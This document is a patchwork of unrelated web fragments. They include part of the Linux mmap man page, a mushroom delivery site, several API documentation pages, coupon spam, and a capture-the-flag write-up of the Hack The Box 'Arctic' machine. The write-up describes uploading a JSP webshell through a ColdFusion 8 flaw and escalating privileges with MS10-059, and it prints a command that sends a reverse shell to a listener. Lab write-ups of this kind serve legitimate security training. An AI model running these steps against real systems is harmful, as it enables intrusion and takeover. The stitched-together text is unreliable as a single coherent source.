- MAP_STACK (since Linux 2.6.27)
- Allocate the mapping at an address suitable for a process or thread
stack.
- This flag is currently a no-op on Linux. However, by employing this flag,
applications can ensure that they transparently obtain support if the flag
is implemented in the future. Thus, it is used in the glibc threading
implementation to allow for the fact that some architectures may (later)
require special treatment for stack allocations. A further reason to
employ this flag is portability: MAP_STACK exists (and has an
effect) on some other systems (e.g., some of the BSDs).
- MAP_SYNC (since Linux 4.15)
- This flag is available only with the MAP_SHARED_VALIDATE mapping
type; mappings of type MAP_SHARED will silently ignore this flag.
This flag is supported only for files supporting DAX (direct mapping of
persistent memory). For other files, creating a mapping with this flag
results in an EOPNOTSUPP error.
- Shared file mappings with this flag provide the guarantee that while some
memory is writably mapped in the address space of the process, it will be
visible in the same file at the same offset even after the system crashes
or is rebooted. In conjunction with the use of appropriate CPU
instructions, this provides users of such mappings with a more efficient
way of making data modifications persistent.
- MAP_UNINITIALIZED (since Linux 2.6.33)
- Don't clear anonymous pages. This flag is intended to improve performance
on embedded devices. This flag is honored only if the kernel was
configured with the CONFIG_MMAP_ALLOW_UNINITIALIZED option. Because
of the security implications, that option is normally enabled only on
embedded devices (i.e., devices where one has complete control of the
contents of user memory).
Of the above flags, only MAP_FIXED is specified in
POSIX.1-2001 and POSIX.1-2008. However, most systems also support
MAP_ANONYMOUS (or its synonym MAP_ANON).
Memory mapped by mmap() is preserved across fork(2),
with the same attributes.
A file is mapped in multiples of the page size. For a file that is
not a multiple of the page size, the remaining memory is zeroed when mapped,
and writes to that region are not written out to the file. The effect of
changing the size of the underlying file of a mapping on the pages that
correspond to added or removed regions of the file is unspecified.
The munmap() system call deletes the mappings for the specified address
range, and causes further references to addresses within the range to generate
invalid memory references. The region is also automatically unmapped when the
process is terminated. On the other hand, closing the file descriptor does not
unmap the region.
The address addr must be a multiple of the page size (but
length need not be). All pages containing a part of the indicated
range are unmapped, and subsequent references to these pages will generate
SIGSEGV. It is not an error if the indicated range does not contain
any mapped pages.
On success, mmap() returns a pointer to the mapped area. On error, the
value MAP_FAILED (that is, (void *) -1) is
returned, and errno is set to indicate the cause of the error.
On success, munmap() returns 0. On failure, it returns -1,
and errno is set to indicate the cause of the error (probably to
EINVAL).
- EACCES
- A file descriptor refers to a non-regular file. Or a file mapping was
requested, but fd is not open for reading. Or MAP_SHARED was
requested and PROT_WRITE is set, but fd is not open in
read/write (O_RDWR) mode. Or PROT_WRITE is set, but the file
is append-only.
- EAGAIN
- The file has been locked, or too much memory has been locked (see
setrlimit(2)).
- EBADF
- fd is not a valid file descriptor (and MAP_ANONYMOUS was not
set).
- EEXIST
- MAP_FIXED_NOREPLACE was specified in flags, and the range
covered by addr and length clashes with an existing
mapping.
- EINVAL
- We don't like addr, length, or offset (e.g., they are
too large, or not aligned on a page boundary).
- EINVAL
- (since Linux 2.6.12) length was 0.
- EINVAL
- flags contained none of MAP_PRIVATE, MAP_SHARED or
MAP_SHARED_VALIDATE.
- ENFILE
- The system-wide limit on the total number of open files has been
reached.
- ENODEV
- The underlying filesystem of the specified file does not support memory
mapping.
- ENOMEM
- No memory is available.
- ENOMEM
- The process's maximum number of mappings would have been exceeded. This
error can also occur for munmap(), when unmapping a region in the
middle of an existing mapping, since this results in two smaller mappings
on either side of the region being unmapped.
- ENOMEM
- (since Linux 4.7) The process's RLIMIT_DATA limit, described in
getrlimit(2), would have been exceeded.
- EOVERFLOW
- On 32-bit architecture together with the large file extension (i.e., using
64-bit off_t): the number of pages used for length plus
number of pages used for offset would overflow unsigned long
(32 bits).
- EPERM
- The prot argument asks for PROT_EXEC but the mapped area
belongs to a file on a filesystem that was mounted no-exec.
- EPERM
- The operation was prevented by a file seal; see fcntl(2).
- ETXTBSY
- MAP_DENYWRITE was set but the object specified by fd is open
for writing.
Use of a mapped region can result in these signals:
- SIGSEGV
- Attempted write into a region mapped as read-only.
- SIGBUS
- Attempted access to a portion of the buffer that does not correspond to
the file (for example, beyond the end of the file, including the case
where another process has truncated the file).
For an explanation of the terms used in this section, see attributes(7).
| Interface |
Attribute |
Value |
| mmap (), munmap () |
Thread safety |
MT-Safe |
POSIX.1-2001, POSIX.1-2008, SVr4, 4.4BSD.
On POSIX systems on which mmap(), msync(2), and munmap()
are available, _POSIX_MAPPED_FILES is defined in
<unistd.h> to a value greater than 0. (See also
sysconf(3).)
On some hardware architectures (e.g., i386), PROT_WRITE implies
PROT_READ. It is architecture dependent whether PROT_READ
implies PROT_EXEC or not. Portable programs should always set
PROT_EXEC if they intend to execute code in the new mapping.
The portable way to create a mapping is to specify addr as
0 (NULL), and omit MAP_FIXED from flags. In this case, the
system chooses the address for the mapping; the address is chosen so as not
to conflict with any existing mapping, and will not be 0. If the
MAP_FIXED flag is specified, and addr is 0 (NULL), then the
mapped address will be 0 (NULL).
Certain flags constants are defined only if suitable
feature test macros are defined (possibly by default):
_DEFAULT_SOURCE with glibc 2.19 or later; or _BSD_SOURCE or
_SVID_SOURCE in glibc 2.19 and earlier. (Employing _GNU_SOURCE
also suffices, and requiring that macro specifically would have been more
logical, since these flags are all Linux-specific.) The relevant flags are:
MAP_32BIT, MAP_ANONYMOUS (and the synonym MAP_ANON),
MAP_DENYWRITE, MAP_EXECUTABLE, MAP_FILE,
MAP_GROWSDOWN, MAP_HUGETLB, MAP_LOCKED,
MAP_NONBLOCK, MAP_NORESERVE, MAP_POPULATE, and
MAP_STACK.
An application can determine which pages of a mapping are
currently resident in the buffer/page cache using mincore(2).
The only safe use for MAP_FIXED is where the address range specified by
addr and length was previously reserved using another mapping;
otherwise, the use of MAP_FIXED is hazardous because it forcibly
removes preexisting mappings, making it easy for a multithreaded process to
corrupt its own address space.
For example, suppose that thread A looks through
/proc/<pid>/maps and in order to locate an unused address range
that it can map using MAP_FIXED, while thread B simultaneously
acquires part or all of that same address range. When thread A subsequently
employs mmap(MAP_FIXED), it will effectively clobber the mapping that
thread B created. In this scenario, thread B need not create a mapping
directly; simply making a library call that, internally, uses
dlopen(3) to load some other shared library, will suffice. The
dlopen(3) call will map the library into the process's address space.
Furthermore, almost any library call may be implemented in a way that adds
memory mappings to the address space, either with this technique, or by
simply allocating memory. Examples include brk(2), malloc(3),
pthread_create(3), and the PAM libraries
http://www.linux-pam.org.
Since Linux 4.17, a multithreaded program can use the
MAP_FIXED_NOREPLACE flag to avoid the hazard described above when
attempting to create a mapping at a fixed address that has not been reserved
by a preexisting mapping.
For file-backed mappings, the st_atime field for the mapped file may be
updated at any time between the mmap() and the corresponding unmapping;
the first reference to a mapped page will update the field if it has not been
already.
The st_ctime and st_mtime field for a file mapped
with PROT_WRITE and MAP_SHARED will be updated after a write
to the mapped region, and before a subsequent msync(2) with the
MS_SYNC or MS_ASYNC flag, if one occurs.
For mappings that employ huge pages, the requirements for the arguments of
mmap() and munmap() differ somewhat from the requirements for
mappings that use the native system page size.
For mmap(), offset must be a multiple of the
underlying huge page size. The system automatically aligns length to
be a multiple of the underlying huge page size.
For munmap(), addr and length must both be a
multiple of the underlying huge page size.
This page describes the interface provided by the glibc mmap() wrapper
function. Originally, this function invoked a system call of the same name.
Since kernel 2.4, that system call has been superseded by mmap2(2), and
nowadays the glibc mmap() wrapper function invokes mmap2(2) with
a suitably adjusted value for offset.
On Linux, there are no guarantees like those suggested above under
MAP_NORESERVE. By default, any process can be killed at any moment when
the system runs out of memory.
In kernels before 2.6.7, the MAP_POPULATE flag has effect
only if prot is specified as PROT_NONE.
SUSv3 specifies that mmap() should fail if length is
0. However, in kernels before 2.6.12, mmap() succeeded in this case:
no mapping was created and the call returned addr. Since kernel
2.6.12, mmap() fails with the error EINVAL for this case.
POSIX specifies that the system shall always zero fill any partial
page at the end of the object and that system will never write any
modification of the object beyond its end. On Linux, when you write data to
such partial page after the end of the object, the data stays in the page
cache even after the file is closed and unmapped and even though the data is
never written to the file itself, subsequent mappings may see the modified
content. In some cases, this could be fixed by calling msync(2)
before the unmap takes place; however, this doesn't work on tmpfs(5)
(for example, when using the POSIX shared memory interface documented in
shm_overview(7)).
The following program prints part of the file specified in its first
command-line argument to standard output. The range of bytes to be printed is
specified via offset and length values in the second and third command-line
arguments. The program creates a memory mapping of the required pages of the
file and then uses write(2) to output the desired bytes.
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int
main(int argc, char *argv[])
{
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
if (argc < 3 || argc > 4) {
fprintf(stderr, "%s file offset [length]\n", argv[0]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
offset = atoi(argv[2]);
pa_offset = offset & ~(sysconf(_SC_PAGE_SIZE) - 1);
/* offset for mmap() must be page aligned */
if (offset >= sb.st_size) {
fprintf(stderr, "offset is past end of file\n");
exit(EXIT_FAILURE);
}
if (argc == 4) {
length = atoi(argv[3]);
if (offset + length > sb.st_size)
length = sb.st_size - offset;
/* Can't display bytes past end of file */
} else { /* No length arg ==> display to end of file */
length = sb.st_size - offset;
}
addr = mmap(NULL, length + offset - pa_offset, PROT_READ,
MAP_PRIVATE, fd, pa_offset);
if (addr == MAP_FAILED)
handle_error("mmap");
s = write(STDOUT_FILENO, addr + offset - pa_offset, length);
if (s != length) {
if (s == -1)
handle_error("write");
fprintf(stderr, "partial write");
exit(EXIT_FAILURE);
}
munmap(addr, length + offset - pa_offset);
close(fd);
exit(EXIT_SUCCESS);
}
ftruncate(2), getpagesize(2), memfd_create(2),
mincore(2), mlock(2), mmap2(2), mprotect(2),
mremap(2), msync(2), remap_file_pages(2),
setrlimit(2), shmat(2), userfaultfd(2),
shm_open(3), shm_overview(7)
The descriptions of the following files in proc(5):
/proc/[pid]/maps, /proc/[pid]/map_files, and
/proc/[pid]/smaps.
B.O. Gallmeister, POSIX.4, O'Reilly, pp. 128–129 and
389–391.
This page is part of release 5.05 of the Linux man-pages project. A
description of the project, information about reporting bugs, and the latest
version of this page, can be found at https://www.kernel.org/doc/man-pages/.


Welcome to Ma' shroom
Pay as you go, choose bi-monthly or monthly options, and skip anytime. Delivered to your door and packed with dry ice, so you do not need to be home to accept delivery. Exclude types of mushrooms you don’t enjoy or prefer not to eat.
Enoki Illustration by Alice Noir from The Noun Project
Farming Commuity
Although all of our suppliers pledge not to use pesticides, herbicides or antibiotics of any kind, not all of our suppliers have pursued USDA organic certification because it is tremendously costly for small producers. We have found that there are other, perhaps more important, indicators of quality and sustainability.
Oyster mushroom Illustration by Alice Noir from The Noun Project
Recipes
If you're getting bored or are out of ideas, we have a whole library with recipies for all types of mushrooms you can think of. We garantee that your palate will never get bored in any season of the year. Also, our community enjoys to release teir own recies and we hold a yearly event to award the most popular recipes from our customers.
Porcini Mushroom Illustration by Alice Noir from The Noun Project
Order and enjoy
We deliver once per month and your first delivery date will appear on your member page a few days after you sign up. Your NEXT order will be confirmed via email at the beginning of the month and then again 3-4 days prior. We also have makeup days if you are not available on your regularly scheduled date, which you can select on your member page. We deliver Sunday night through Friday.
White Button Mushroom Illustration by Alice Noir from The Noun Project


Before Change
self.assert_join_succeeds()
def test_join_returns_activity_with_4_attachments(self):
response = api.on_join(self.activity_for_join())
self.assertEqual(4, len(response[1]["object"]["attachments"]))
def test_join_returns_activity_with_acl_attachment(self):
response = api.on_join(self.activity_for_join())
After Change
self.assert_join_succeeds()
def test_join_returns_activity_with_4_attachments(self):
act = self.activity_for_join()
response = api.on_join(act, as_parser(act))
self.assertEqual(4, len(response[1]["object"]["attachments"]))
def test_join_returns_activity_with_acl_attachment(self):
act = self.activity_for_join()


If you can see this, React is not working right. If you checked out the source from GitHub make sure to run npm run demo_build.
npm run demo_build


This is the API documentation for 'Opinio'.
[Validate]
Generated with the Darkfish Rdoc Generator 1.1.6.


THotSpotTargetClickEvent = procedure(Sender: TObject;
const Target, URL: string; var Handled: Boolean) of Object;
The THotSpotTargetClickEvent type is the type for hot spot click events with the TFrameViewer and TFrameBrowser components. These events occur when the mouse is clicked on a hypertext link.
URLThe string referenced by the hot spot. For TFrameBrowser, URL is expanded into a full URL. The original link text may be obtained with the URL property, if necessary.
TargetThe Target attribute (if any) specifying the target window or frame.
The method which processes the THotSpotTargetClickEvent should return Handled equal to True if it wants no further handling of the URL. If Handled is set to false, default handling will be performed.
IsMap
If the URL comes from an image used as an anchor and the IsMap attribute is used, the X, Y pixel position will be passed appended to the URL in the form "?x,y".
See also:


The second and third click event will not be executed due to event.stopImmediatePropagation(). Try to erase this method and see what happens.


4. ____ and ____ would be the HTML tags you would use to display a menu item and its description.
Continue
Your Answer: {{tags}}


FSharpMemberOrFunctionOrValue
Namespace: FSharp.Compiler.SourceCodeServices
A subtype of F# symbol that represents an F# method, property, event, function or value, including extension members.
Instance members
| Instance member | Description |
Accessibility
Signature: FSharpAccessibility
|
Get the accessibility information for the member, function or value CompiledName: |
ApparentEnclosingEntity
Signature: FSharpEntity
|
Get the logical enclosing entity, which for an extension member is type being extended CompiledName: |
Attributes
Signature: IList<FSharpAttribute>
|
Custom attributes attached to the value. These contain references to other values (i.e. constructors in types). Mutable to fixup CompiledName: |
CompiledName
Signature: string
|
Get the member name in compiled code CompiledName: |
CurriedParameterGroups
Signature: IList<IList<FSharpParameter>>
|
CompiledName: |
DeclarationLocation
Signature: range
|
Get the declaration location of the member, function or value CompiledName: |
DeclaringEntity
Signature: FSharpEntity option
|
Get the enclosing entity for the definition CompiledName: |
DisplayName
Signature: string
|
Get the name as presented in F# error messages and documentation CompiledName: |
EventAddMethod
Signature: FSharpMemberOrFunctionOrValue
|
Get an associated add method of an event CompiledName: |
EventDelegateType
Signature: FSharpType
|
Get an associated delegate type of an event CompiledName: |
EventForFSharpProperty
Signature: FSharpMemberOrFunctionOrValue option
|
Gets the event symbol implied by the use of a property, for the case where the property is actually an F#-declared CLIEvent. Uses of F#-declared events are considered to be properties as far as the language specification and this API are concerned. CompiledName: |
EventIsStandard
Signature: bool
|
Indicate if an event can be considered to be a property for the F# type system of type IEvent or IDelegateEvent. In this case ReturnParameter will have a type corresponding to the property type. For non-standard events, ReturnParameter will have a type corresponding to the delegate type. CompiledName: |
EventRemoveMethod
Signature: FSharpMemberOrFunctionOrValue
|
Get an associated remove method of an event CompiledName: |
FormatLayout(context)
Signature: context:FSharpDisplayContext -> Layout
|
Format the type using the rules of the given display context |
FullType
Signature: FSharpType
|
Get the full type of the member, function or value when used as a first class value CompiledName: |
GenericParameters
Signature: IList<FSharpGenericParameter>
|
Get the typars of the member, function or value CompiledName: |
GetterMethod
Signature: FSharpMemberOrFunctionOrValue
|
Get an associated getter method of the property CompiledName: |
HasGetterMethod
Signature: bool
|
Indicates if this is a property and there exists an associated getter method CompiledName: |
HasSetterMethod
Signature: bool
|
Indicates if this is a property and there exists an associated setter method CompiledName: |
ImplementedAbstractSignatures
Signature: IList<FSharpAbstractSignature>
|
Gets the list of the abstract slot signatures implemented by the member CompiledName: |
InlineAnnotation
Signature: FSharpInlineAnnotation
|
Get a result indicating if this is a must-inline value CompiledName: |
IsActivePattern
Signature: bool
|
Indicates if this value or member is an F# active pattern CompiledName: |
IsBaseValue
Signature: bool
|
Indicates if this is "base" in "base.M(...)" CompiledName: |
IsCompilerGenerated
Signature: bool
|
Indicates if this is a compiler generated value CompiledName: |
IsConstructor
Signature: bool
|
Indicates if this is a constructor. CompiledName: |
IsConstructorThisValue
Signature: bool
|
Indicates if this is the "x" in "type C() as x = ..." CompiledName: |
IsDispatchSlot
Signature: bool
|
Indicates if this is an abstract member? CompiledName: |
IsEvent
Signature: bool
|
Indicates if this is an event member CompiledName: |
IsEventAddMethod
Signature: bool
|
Indicates if this is an add method for an event CompiledName: |
IsEventRemoveMethod
Signature: bool
|
Indicates if this is a remove method for an event CompiledName: |
IsExplicitInterfaceImplementation
Signature: bool
|
Indicates if this is an explicit implementation of an interface member CompiledName: |
IsExtensionMember
Signature: bool
|
Indicates if this is an extension member? CompiledName: |
IsGetterMethod
Signature: bool
|
Indicates if this is a getter method for a property, or a use of a property in getter mode CompiledName: |
IsImplicitConstructor
Signature: bool
|
Indicates if this is an implicit constructor? CompiledName: |
IsInstanceMember
Signature: bool
|
Indicates if this is an instance member, when seen from F#? CompiledName: |
IsInstanceMemberInCompiledCode
Signature: bool
|
Indicates if this is an instance member in compiled code. Explanatory note: some members such as IsNone and IsSome on types with UseNullAsTrueValue appear as instance members in F# code but are compiled as static members. CompiledName: |
IsMember
Signature: bool
|
Indicates if this is a member, including extension members? CompiledName: |
IsMemberThisValue
Signature: bool
|
Indicates if this is the "x" in "member x.M = ..." CompiledName: |
IsModuleValueOrMember
Signature: bool
|
Indicates if this is a module or member value CompiledName: |
IsMutable
Signature: bool
|
Indicates if this is a mutable value CompiledName: |
IsOverrideOrExplicitInterfaceImplementation(...)
Signature: bool
|
Indicates if this is an 'override', 'default' or an explicit implementation of an interface member CompiledName: |
IsOverrideOrExplicitMember
Signature: bool
|
CompiledName: |
IsProperty
Signature: bool
|
Indicates if this is a property member CompiledName: |
IsPropertyGetterMethod
Signature: bool
|
Indicates if this is a getter method for a property, or a use of a property in getter mode CompiledName: |
IsPropertySetterMethod
Signature: bool
|
Indicates if this is a setter method for a property, or a use of a property in setter mode CompiledName: |
IsSetterMethod
Signature: bool
|
Indicates if this is a setter method for a property, or a use of a property in setter mode CompiledName: |
IsTypeFunction
Signature: bool
|
Indicates if this is an F# type function CompiledName: |
IsUnresolved
Signature: bool
|
Indicates if the member, function or value is in an unresolved assembly CompiledName: |
IsValCompiledAsMethod
Signature: bool
|
Indicated if this is a value compiled to a method CompiledName: |
IsValue
Signature: bool
|
Indicated if this is a value CompiledName: |
LiteralValue
Signature: obj option
|
Indicates if this is a [ CompiledName: |
LogicalName
Signature: string
|
Get the logical name of the member CompiledName: |
Overloads(arg1)
Signature: bool -> IList<FSharpMemberOrFunctionOrValue> option
|
Gets the overloads for the current method matchParameterNumber indicates whether to filter the overloads to match the number of parameters in the current symbol |
ReturnParameter
Signature: FSharpParameter
|
CompiledName: |
SetterMethod
Signature: FSharpMemberOrFunctionOrValue
|
Get an associated setter method of the property CompiledName: |
XmlDoc
Signature: IList<string>
|
Get the in-memory XML documentation for the value, used when code is checked in-memory CompiledName: |
XmlDocSig
Signature: string
|
XML documentation signature for the value, used for .xml file lookup for compiled code CompiledName: |


The image transition component is inspired and based on the Github repository webGLImageTransitions from Yuriy Artyukh (akella). Most animation effects are taken from his repository.
Photo by David Clode on Unsplash
npm install three @angular/cdk
npm install ngx-acuw
{{importModule}}
{{directiveExample}}
| Name | Default value | Description |
|---|---|---|
| @Input() imageUrls: string[] | [] | Urls to the images |
| @Input() imageSize: string | cover | Size of the image ("cover", "contain") |
| @Input() autoPlay: boolean | false | Switch through the images automatically (true, false) |
| @Input() autoPlayInterval: number | 5000 | AutoPlay interval in ms, if autoPlay is activated |
| @Input() toggleTransitionDirection: boolean | true | true: animation effect is toggled from left to right. false: animation effect only in one direction |
| @Input() transitionDuration: number | 1000 | Duration of the transition effenct in ms |
| @Input() transitionType: string | split | Type of the transition (split, fade, noise, blur) |
| @Input() sizeX: string | 50.0 | Size at x-axis of the transition effect (applicable for type: 'noise') |
| @Input() sizeY: string | 50.0 | Size at y-axis of the transition effect (applicable for type: 'noise') |
| @Input() width: string | 0.5 | Width of the transition effect (applicable for type: 'noise') |
| @Input() intensity: string | 40.0 | Intensity of the transition effect (applicable for type: 'split', 'blur' |
| @Input() animationEnabled: boolean | true | The animation can be stopped by setting the property to "false", e.g. if the element is not in viewport anymore. |
| @Input() startIndex: number | 0 | Defines with which image should be shown first when the component is created. |
| @Output() imageIndexChange: EventEmitter<number> | - | Event emitted when the shown image has changed. |
| Name | Description |
|---|---|
| next() | Loads the next image from the imageUrls array |
| prev() | Loads the previous image from the imageUrls array |


peptides HLA binding SARS-CoV- predicted protein viral OpenUrl class epitopes alleles Figure number CrossRef annotated cell SARS-CoV corresponding responses Supplementary affinities allele acute derived high-binding prediction severe validated Abstract FREE Text affinity patients peptide predictions respiratory -mer HLA-A* T-cell Table acid amino bind coronavirus proteins specific study syndrome unique (x-axis) Immunol MHC View analysis antigens filtered nM. previously resource sequences Cancer accession available cells data epitope haplotypes pMHCs proteins. results spanning (n=) (pMHCs) (side (y-axis) -B, Download Res Using Wang addition, additional algorithms antiviral charts clinical color combinations cytotoxic experimental figure homology human including peptides. proteome, response shows spike using


Note: To complete the procedures in this document, you must be assigned a role having the necessary permissions. To determine your role, follow the directions in Participant roles. To view a list of permissions associated with a given role, see Permissions, roles, and tools. For a basic understanding of roles and permissions, see Permissions and Roles: Overview.
If you have sufficient permissions, you can use the Chat Room tool to create multiple chat rooms within a course or project site. Though a site can have multiple chat rooms, only one can be displayed at a time. This feature essentially allows a site leader to archive old chats.
To create a new chat room, follow these steps:
Chat Room
. Options
.
Use a new Chat Room called
, and type a name for the
chat room in the accompanying text box.Update Options
.


The University of Maryland Balloon Payload Program offers a platform for undergraduate and graduate students to build and send research payloads into the upper atmosphere via helium weather balloons.
Affiliated Organizations
Maryland Space Grant Consortium
Space Systems Lab
University of Maryland


An interactive visualization of the USDA Nutrient Database. Each food traces a line across the colorized parallel coordinates based on its nutrient content. The lines are colored by food group.
If you are unfamiliar with parallel coordinates, read this tutorial.
First, select some data...
- Click and drag along an axis to create a selection
- To move a selection, drag it up and down
- To remove a selection, click the axis line behind it
Then...
- Keep data you're interested in
- Remove data you're not interested in, such as outliers
Refresh the page to start over.
When you're done with these instructions, hide them.


Run the SQL statement to the right.
TRUNCATE or TRUNC is similar to the previous functions, except that you can specify which position to truncate the number at.
You should see a result set to the lower right.


 Now you can do awesome stuff in WebGL with a familiar API. Subunit selects into a THREE.js scene graph just like selecting into the DOM with D3.
Checkout Subunit on Github or just install it on npm:
npm install subunit three


Arctic is an easy level machine based on Windows, the initial approach is based on a file upload vulnerability
present on Adobe ColdFusion
, this vulnerability allow us to upload a malicious JSP webshell
and gain access to the server. The privilege escalation process has two ways to exploit: MS10-092
or MS10-059
.
Recon
We noticed that there’s some ports opened, but the port 8500 caught our attention:
In this port there’s a service named Adobe ColdFusion
, version 8.
After searching on Google for any suitable exploit, we found an interesting one:
ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit)
Exploiting - Fixing and using a Metasploit module
The above exploit is in reality a Metasploit module, it exploits a vulnerability where it’s possible to upload files (malicious webshell) directly to the web server throught a ColdFusion module named FCKeditor
.
This module is located at exploit/windows/http/coldfusion_fckeditor
.
But there’s a big problem: this exploit doesn’t work as he should, part of his code is not compatible with the Arctic machine.
I made some modifications in order to work properly:
The problem was in the HTTP request timeout of the original module, I changed from 5 to 20 seconds. I also added a verification loop in the handler’s part to ensure that the metasploit session will be created.
Exploiting - Using a custom exploit
For knowledge purposes I made a custom exploit that uploads a malicious JSP webshell throught the ColdFusion vulnerability, trigger the exploit and spawn an interactive shell to us, it’s available on my GitHub :)
Post Exploitation - Escalating privileges through Metasploit
Using a Metasploit post module named local_exploit_suggester
, we got some interestings exploit suggestions:
After testing exploit by exploit, we had success with MS10-092
, Metasploit module ms10_092_schelevator
:
Post Exploitation - Manually escalating privileges
To manually exploit in this method, we need to execute a compiled exploit named MS10-059
.
The compiled exploit can be found here: MS10-059.exe
We set up a netcat on listening mode and execute the exploit with the following arguments:
MS10-059.exe 10.10.14.XX 4445
Done, now we have system access as administrator!
Post Exploitation - Using a custom exploit to escalate privileges
For knowledge purposes I also made a custom exploit that uploads a malicious JSP webshell throught the ColdFusion vulnerability, trigger the exploit and spawn an interactive shell to us, in this version I added a privilege escalation exploit that executes the MS10-059
automatically and give us another interactive shell but with NT AUTHORITY\SYSTEM privileges!


  We have the best Colorado Kayak Supply Rebate anywhere. thesis_keywords: Colorado Kayak Supply, Colorado Kayak Supply Coupon Code, Colorado Kayak Supply Discount, Colorado Kayak Supply Rebate product_name: Colorado Kayak Supply hop_url: http://www.icouponblog.com/hop.php?id=927 ---
Colorado Kayak Supply is the largest and the finest kayak and paddle specialty store in the Rockies. For the finest kayak gear and accessories, a visit online to the Colorado Kayak Supply is a must! Whether you are an amateur or a professional looking for the perfect gear, whatever you’re kayaking and paddling needs be sure that it will be met and satisfied to the highest degree at Colorado Kayak Supply. Use our discount coupons to get a great deal!
At Colorado Kayak Supply you can buy from a full selection of Kayaks including whitewater, touring, recreational and inflatable Kayaks at great affordable prices. Colorado Kayak Supply also has the largest selection of Kayak supplies and accessories. Shop at Colorado Kayak Supply today and find everything that you would ever need for kayaking or paddling. You can find men and women’s and children’s Kayaking gears. Buy dry suits, dry tops, paddle pants, splash wear, gloves, river shorts, helmets, spray skirts, footwear life jackets and much more. You can get the best brand names including, Aire, Astral buoyancy, C4 Waterman, Downriver, Aquabound, CKS and so many more. < Colorado Kayak Supply will delight you and meet all your Kayaking and paddling needs. Visit Colorado Kayak Supply online today. You will love their user friendly, easy to use website. Find everything you need at the best possible prices on Colorado Kayak Supply. Kayaking, paddling is great fun, getting the right and the safe products are an absolute necessary. Check out Colorado Kayak Supply and save money with our many discount coupons.


Horseshoe Bay
- Site info:
- Depth:
- Visibility:
- Water temperature:
- Dive level:
- Sea life:
Bluff
- Site info:
- Depth:
- Visibility:
- Water temperature:
- Dive level:
- Sea life:
Granite Island
- Site info:
- Depth:
- Visibility:
- Water temperature:
- Dive level:
- Sea life:
Aldinga Bay
- Site info:
- Depth:
- Visibility:
- Water temperature:
- Dive level:
- Sea life:


state
namespace state
a State Manager (state machine)
Summary
Properties from state
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
| number |
|
Methods from state
|
|
|
| Stage |
|
| boolean |
|
| boolean |
|
| boolean |
|
|
|
|
|
|
|
|
|
|
|
|
|
| Stage |
|
|
|
|
|
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|
|
|
Public Properties
static DEFAULT: number = 9
number
default state ID for the default Stage (the default stage is the one running as soon as melonJS is started)
static USER: number = 100
number
default state ID for user defined constants
let STATE_INFO = me.state.USER + 0;
let STATE_WARN = me.state.USER + 1;
let STATE_ERROR = me.state.USER + 2;
let STATE_CUTSCENE = me.state.USER + 3;
Public Methods
change(state: number, forceChange: boolean) → {}
change the game/app state
// The onResetEvent method on the play screen will receive two args:
// "level_1" and the number 3
me.state.change(me.state.PLAY, "level_1", 3);
| Name | Type | Attributes | Description |
|---|---|---|---|
| state | number |
State ID (see constants) |
|
| forceChange | boolean |
if true the state will be changed immediately |
|
| ...arguments | object |
<optional> |
extra arguments to be passed to the reset functions |
current() → {Stage}
return a reference to the current stage
useful to call a object specific method
| Type | Description |
|---|---|
| Stage |
isCurrent(state: number) → {boolean}
return true if the specified state is the current one
| Name | Type | Description |
|---|---|---|
| state | number |
State ID (see constants) |
| Type | Description |
|---|---|
| boolean |
true if the specified state is the current one |
isPaused() → {boolean}
Return the pause state of the state manager
| Type | Description |
|---|---|
| boolean |
true if the game is paused |
isRunning() → {boolean}
return the running state of the state manager
| Type | Description |
|---|---|
| boolean |
true if a "process is running" |
pause(music: boolean) → {}
pause the current stage
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
| music | boolean |
<optional> |
false |
pause current music track on screen pause |
restart(music: boolean) → {}
Restart the current stage from a full stop.
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
| music | boolean |
<optional> |
false |
resume current music track on screen resume |
resume(music: boolean) → {}
resume the current stage
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
| music | boolean |
<optional> |
false |
resume current music track on screen resume |
set(state: number, stage: Stage, start : boolean) → {}
associate the specified state with a Stage
class MenuButton extends me.GUI_Object {
onClick() {
// Change to the PLAY state when the button is clicked
me.state.change(me.state.PLAY);
return true;
}
};
class MenuScreen extends me.Stage {
onResetEvent() {
// Load background image
me.game.world.addChild(
new me.ImageLayer(0, 0, {
image : "bg",
z: 0 // z-index
}
);
// Add a button
me.game.world.addChild(
new MenuButton(350, 200, { "image" : "start" }),
1 // z-index
);
// Play music
me.audio.playTrack("menu");
}
onDestroyEvent() {
// Stop music
me.audio.stopTrack();
}
};
me.state.set(me.state.MENU, new MenuScreen());
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
| state | number |
State ID (see constants) |
||
| stage | Stage |
Instantiated Stage to associate with state ID |
||
| start | boolean |
<optional> |
false |
if true the state will be changed immediately after adding it. |
set(state: number) → {Stage}
returns the stage associated with the specified state (or the current one if none is specified)
| Name | Type | Attributes | Description |
|---|---|---|---|
| state | number |
<optional> |
State ID (see constants) |
| Type | Description |
|---|---|
| Stage |
setTransition(state: number, enable: boolean) → {}
enable/disable the transition to a particular state (by default enabled for all)
| Name | Type | Description |
|---|---|---|
| state | number |
State ID (see constants) |
| enable | boolean |
stop(pauseTrack: boolean) → {}
Stop the current stage.
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
| pauseTrack | boolean |
<optional> |
false |
pause current track on screen stop. |
transition(effect: string, color: Color | string, duration: number) → {}
specify a global transition effect
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
| effect | string |
(only "fade" is supported for now) |
||
| color | Color | string |
a CSS color value |
||
| duration | number |
<optional> |
1000 |
expressed in milliseconds |


|
Panda3D
|
The principle public interface to reading and writing Bam disk files. More...
Public Member Functions | |
| __init__ () | |
| close () | |
| Closes the input or output stream. More... | |
| int | getCurrentMajorVer () |
| Returns the system current major version number. More... | |
| int | getCurrentMinorVer () |
| Returns the system current minor version number. More... | |
| BamEnums::BamEndian | getFileEndian () |
| Returns the endian preference indicated by the Bam file currently being read or written. More... | |
| int | getFileMajorVer () |
